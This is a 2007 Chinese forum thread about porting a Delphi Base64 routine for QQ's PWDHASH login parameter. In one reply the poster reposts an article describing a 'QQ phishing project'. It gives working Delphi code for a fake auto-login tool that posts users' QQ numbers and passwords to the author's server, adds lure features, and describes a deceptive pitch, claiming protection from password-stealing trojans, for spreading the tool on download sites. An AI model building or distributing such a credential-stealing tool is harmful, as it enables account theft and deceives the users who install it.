飘云阁

 找回密码
 加入我们

QQ登录

只需一步,快速开始

查看: 5263|回复: 4

【求助】这段关于QQ登陆加密算法的Delphi代码用易语言怎么写?

[复制链接]

该用户从未签到

发表于 2007-9-21 17:00:21 | 显示全部楼层 |阅读模式
  1. unction Base64(Src: string): string;
  2. const
  3.   DataSet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
  4. var
  5.   i, ModLen: integer;
  6.   Current: string;
  7.   Buf: array[1..3] of Byte;
  8.   NewBuf: array[1..4] of Byte;
  9. begin
  10.   result := '';
  11.   if Src = '' then
  12.     exit;
  13.   ModLen := Length(Src) mod 3;
  14.   while Length(Src) > 0 do
  15.   begin
  16.     FillChar(Buf, 3, #0);
  17.     Current := Copy(Src, 1, 3);
  18.     Src := Copy(Src, 4, Length(Src) - 3);
  19.     for i := 1 to 3 do
  20.       Buf[i] := Ord(Current[i]);
  21.     NewBuf[1] := Buf[1] shr 2;
  22.     NewBuf[2] := (Buf[1] shl 6 shr 2 or Buf[2] shr 4) and $3F;
  23.     NewBuf[3] := (Buf[2] shl 4 shr 2 or Buf[3] shr 6) and $3F;
  24.     NewBuf[4] := Buf[3] and $3F;
  25.     for i := 1 to 4 do
  26.       result := result + DataSet[NewBuf[i] + 1];
  27.   end;
  28.   if ModLen >= 1 then
  29.     result[Length(result)] := '=';
  30.   if ModLen = 1 then
  31.     result[Length(result) - 1] := '=';
  32. end;
复制代码
下面是我翻译的:



可以怎么测试都ibu成功,还有就是位运算的优先级问题

[ 本帖最后由 hacker0058 于 2007-9-22 11:57 编辑 ]

e1.jpeg

34.72 KB, 下载次数: 48, 下载积分: 飘云币 -2 枚

e2.jpeg

38.08 KB, 下载次数: 45, 下载积分: 飘云币 -2 枚

PYG19周年生日快乐!

该用户从未签到

 楼主| 发表于 2007-9-21 17:04:12 | 显示全部楼层
希望大家帮我看看,谢谢!
PYG19周年生日快乐!

该用户从未签到

 楼主| 发表于 2007-9-22 11:50:55 | 显示全部楼层
文章作者:zshoucheng
信息来源:邪恶八进制信息安全团队(www.eviloctal.com

转载请保持文章完整性

1.QQ登陆加密算法

QQ命令行启动方式:
  1. QQ.exe /START QQUIN:QQ号码 PWDHASH:加密后的QQ密码 /STAT:登陆状态(40隐身,41正常)
复制代码
其中PWDhash 原本是为实现 QQ 与 TM无缝切换而用的将密码加密传递的参数。使得用户能在 QQ 与 TM 之间快速切换而不用再次输入密码。

PWDHASH就是对我们的原始QQ密码进行MD5散列算法处理,得到一个16字节的MD5 HASH 字节组,然后再用BASE64编码对这个HASH字节组做第二次编码得到的。理论上说是无法从PWDHASH反推出原始的QQ密码的。但是,如果密码过于简单,如纯数字之类的,是可能被简单暴力破解的。

下面以Delphi代码讲解,附件中有Delphi的实现单元和相应的C#类,目的是让大家能够选择自己喜欢的编程语言实现

获取QQ命令行启动参数函数:(参数:QQ号码、QQ密码、登陆状态)
Code Language : Delphi
  1. function GetCommandLine(QQNum, QQPw: string; QQState: integer): string;
  2. type
  3.    TempChar = array[0..15] of char;
  4. var
  5.    md5: TIdHashMessageDigest5;
  6. begin
  7.    md5 := TIdHashMessageDigest5.Create;
  8.    result := ' /START QQUIN:' + QQNum + ' PWDHASH:' + Base64(TempChar(md5.HashValue(QQPw))) + ' /STAT:' + IntToStr(QQState);
  9.    md5.Free;
  10. end;

  11. Parsed in 0.010 seconds
  12. 上面函数用到的Base64函数为:
  13. Code Language : Delphi

  14. function Base64(Src: string): string;
  15. const
  16.    DataSet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
  17. var
  18.    i, ModLen: integer;
  19.    Current: string;
  20.    Buf: array[1..3] of Byte;
  21.    NewBuf: array[1..4] of Byte;
  22. begin
  23.    result := '';
  24.    if Src = '' then
  25.       exit;
  26.    ModLen := Length(Src) mod 3;
  27.    while Length(Src) > 0 do
  28.    begin
  29.       FillChar(Buf, 3, #0);
  30.       Current := Copy(Src, 1, 3);
  31.       Src := Copy(Src, 4, Length(Src) - 3);
  32.       for i := 1 to 3 do
  33.          Buf[i] := Ord(Current[i]);
  34.       NewBuf[1] := Buf[1] shr 2;
  35.       NewBuf[2] := (Buf[1] shl 6 shr 2 or Buf[2] shr 4) and $3F;
  36.       NewBuf[3] := (Buf[2] shl 4 shr 2 or Buf[3] shr 6) and $3F;
  37.       NewBuf[4] := Buf[3] and $3F;
  38.       for i := 1 to 4 do
  39.          result := result + DataSet[NewBuf[i] + 1];
  40.    end;
  41.    if ModLen >= 1 then
  42.       result[Length(result)] := '=';
  43.    if ModLen = 1 then
  44.       result[Length(result) - 1] := '=';
  45. end;
复制代码
Parsed in 0.025 seconds
这样就可以实现从命令行直接登陆QQ了。

另外我们还要获取QQ的安装路径:
在注册表的 HKEY_LOCAL_MACHINE\SOFTWARE\TENCENT\PLATFORM_TYPE_LIST 下面有几个子键,1中的 TypePath 的键值为 QQ 的安装路径,2中的 TypePath 的键值为 TM 的安装路径。我们就可以通过读取注册表来获取QQ的安装路径了(其实现比较简单,请参见源码)。

2.简单打造QQ钓鱼工程

有了上面的QQ自动登陆的实现,我们就可以写出一个QQ自动登陆器了。这就和我要说的QQ钓鱼工程联系上了,聪明的你一定也想出来了。
编写一款优秀的QQ木马去截获QQ密码框中的密码对我等小菜来说难以实现,但我们却可以变相地去获取QQ密码:
当别人使用我们的QQ自动登陆器登陆QQ时,我们可以把他所输入的QQ以及密码发送到我们的邮箱或指定网页上,这里给出ASP发信的代码:
Code Language : Delphi
  1. function HtmlEncode(s: string): string;
  2. var
  3.    i, v1, v2: integer;
  4.    function i2s(b: byte): char;
  5.    begin
  6.       if b <= 9 then result := chr($30 + b)
  7.       else result := chr($41 - 10 + b);
  8.    end;
  9. begin
  10.    result := '';
  11.    for i := 1 to length(s) do
  12.       if s[i] = ' ' then result := result + '+'
  13.       else if (s[i] < ' ') or (s[i] in ['/', '\', ':', '&', '?', '|']) then
  14.       begin
  15.          v1 := ord(s[i]) mod 16;
  16.          v2 := ord(s[i]) div 16;
  17.          result := result + '%' + i2s(v2) + i2s(v1);
  18.       end
  19.       else result := result + s[i];
  20. end;

  21. function UpperCase(AStr: string): string; overload;
  22. var
  23.    LI: Integer;
  24. begin
  25.    Result := AStr;
  26.    for LI := 1 to Length(Result) do
  27.       Result[LI] := UpCase(Result[LI]);
  28. end;

  29. // 以Post方式发信
  30. function PostURL(const aUrl: string; FTPostQuery: string; const strPostOkResult: string = 'Send OK!'): Boolean;
  31. var
  32.    hSession: HINTERNET;
  33.    hConnect, hRequest: hInternet;
  34.    lpBuffer: array[0..1024 + 1] of Char;
  35.    dwBytesRead: DWORD;
  36.    HttpStr: string;
  37.    HostName, FileName: string;
  38.    FTResult: Boolean;
  39.    AcceptType: LPStr;
  40.    Buf: Pointer;
  41.    dwBufLen, dwIndex: DWord;
  42.    procedure ParseURL(URL: string; var HostName, FileName: string);
  43.       procedure ReplaceChar(c1, c2: Char; var St: string);
  44.       var
  45.          p: Integer;
  46.       begin
  47.          while True do
  48.          begin
  49.             p := Pos(c1, St);
  50.             if p = 0 then Break
  51.             else St[p] := c2;
  52.          end;
  53.       end;
  54.    var
  55.       i: Integer;
  56.    begin
  57.       if Pos(UpperCase('http://'), UpperCase(URL)) <> 0 then
  58.          System.Delete(URL, 1, 7);
  59.       i := Pos('/', URL);
  60.       HostName := Copy(URL, 1, i);
  61.       FileName := Copy(URL, i, Length(URL) - i + 1);
  62.       if (Length(HostName) > 0) and (HostName[Length(HostName)] = '/') then
  63.          SetLength(HostName, Length(HostName) - 1);
  64.    end;
  65. begin
  66.    Result := False;
  67.    hSession := InternetOpen('MyApp', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
  68.    try
  69.       if Assigned(hSession) then
  70.       begin
  71.          ParseURL(aUrl, HostName, FileName);
  72.          hConnect := InternetConnect(hSession, PChar(HostName),
  73.          INTERNET_DEFAULT_HTTP_PORT, nil, nil, INTERNET_SERVICE_HTTP, 0, 0);
  74.          AcceptType := PChar('Accept: */*');
  75.          hRequest := HttpOpenRequest(hConnect, 'POST', PChar(FileName), 'HTTP/1.0',
  76.             nil, @AcceptType, INTERNET_FLAG_RELOAD, 0);
  77.          HttpSendRequest(hRequest, 'Content-Type: application/x-www-form-urlencoded', 47,
  78.             PChar(FTPostQuery), Length(FTPostQuery));
  79.          dwIndex := 0;
  80.          dwBufLen := 1024;
  81.          GetMem(Buf, dwBufLen);
  82.          FTResult := HttpQueryInfo(hRequest, HTTP_QUERY_CONTENT_LENGTH,
  83.             Buf, dwBufLen, dwIndex);
  84.          if FTResult = True then
  85.          try
  86.             while True do
  87.             begin
  88.                dwBytesRead := 1024;
  89.                InternetReadFile(hRequest, @lpBuffer, 1024, dwBytesRead);
  90.                if dwBytesRead = 0 then break;
  91.                lpBuffer[dwBytesRead] := #0;
  92.                HttpStr := HttpStr + lpBuffer;
  93.             end;
  94.             Result := pos(strPostOkResult, HttpStr) > 0;
  95.          finally
  96.             InternetCloseHandle(hRequest);
  97.             InternetCloseHandle(hConnect);
  98.          end;
  99.       end;
  100.    finally
  101.       InternetCloseHandle(hSession);
  102.    end;
  103. end;
复制代码
Parsed in 0.081 seconds
我们可以给我们的QQ自动登陆器加多些功能,以吸引别人使用(钓鱼嘛~),比如:

QQ性别任意修改:
Code Language : Delphi
  1. procedure ChangeSex(sex:string);
  2. var
  3.    tmp:pchar;
  4.    h,h1,h2,h3,h4,h5:HWND;
  5.    id:integer;
  6. begin
  7. h := FindWindow('#32770','QQ2007设置');
  8. if h=0 then
  9. h := FindWindow('#32770','QQ2006设置');
  10. if h<>0 then begin
  11. h1 := FindWindowEx(h,0,'#32770',nil);
  12. h2 := FindWindowEx(h1,0,'#32770',nil);
  13. h3 := GetDlgItem(h2,1356);
  14. h4 := GetDlgItem(h2,551);
  15. h5 := GetDlgItem(h1,1343);
  16. SendMessage(h3,32,0,0); //WM_SETCURSOR
  17. id := SendMessage(h3,323,0,longint(pchar(sex))); //给QQ性别组合框加一项
  18. SendMessage(h3,334,id,0);   //选择所加的那项
  19. SendMessage(h4,13,10,longint(@tmp));
  20. SendMessage(h4,12,0,longint(@tmp));
  21. SendMessage(h5,245,0,0);   //点击确定按钮
  22. end
  23. else
  24. Application.MessageBox('请先打开QQ个人设置窗口!','提示',MB_OK);
  25. end;

  26. Parsed in 0.021 seconds
  27. QQ强行聊天:
  28. Code Language : Delphi

  29. procedure QQChat(number:string);
  30. var
  31. inum:integer;
  32. begin
  33. if trystrtoint(number,inum) then
  34.    begin
  35.       if inum>10000 then
  36.       ShellExecute(handle,nil,pchar('Tencent://Message/?Menu=YES&Exe=&Uin='+number),nil,nil,SW_NORMAL)
  37.       else
  38.       Application.MessageBox('无此QQ号码!','提示',MB_OK);
  39.    end
  40. else
  41. Application.MessageBox('请输入有效的QQ号码!','提示',MB_OK);
  42. end;
  43.   
复制代码
Parsed in 0.011 seconds
这些功能的实现都是再简单不过了,但对于不懂编程的人来说却觉得很神奇(我给我身边的同学、朋友用的时候他们都崇拜地对我说:你太厉害了!而我,背后暗笑中……)

程序最终效果如图:




到这里我们的QQ钓鱼工程就快完成了,我们可以写个使用说明,使用点社会工程学技巧:



程序功能:
1.自动登陆
能有效防止所有的QQ盗号木马,因为QQ盗号木马是通过截获QQ登陆窗口实现盗号的
使用本软件登陆QQ,即使你中了QQ木马,你的QQ也不会被盗

2.QQ性别任意修改
可以将你QQ性别修改为任意的(你的QQ好友查看你的QQ资料时即可看到效果)

3.强行聊天
能和任意QQ号码聊天,无须添加对方为好友
……

然后发到国内一些下载站上去,或者在一些论坛宣传……你就等着收QQ吧!


郑重声明:本文旨在技术交流,其中介绍的技术仅供测试,非法盗取他人帐号是违法的。对使用本文所介绍的技术引起的任何法律问题与本人无关!

[ 本帖最后由 hacker0058 于 2007-9-22 11:59 编辑 ]
PYG19周年生日快乐!
  • TA的每日心情
    无聊
    2017-10-13 17:28
  • 签到天数: 2 天

    [LV.1]初来乍到

    发表于 2007-9-25 16:33:00 | 显示全部楼层
    估计LZ是错在BASE64编码部分.你先测试下.

    我记得E论坛有人发过BASE64的E算法源码.
    PYG19周年生日快乐!

    该用户从未签到

     楼主| 发表于 2007-9-28 21:40:52 | 显示全部楼层
    问题已经解决,谢谢了!
    PYG19周年生日快乐!
    您需要登录后才可以回帖 登录 | 加入我们

    本版积分规则

    快速回复 返回顶部 返回列表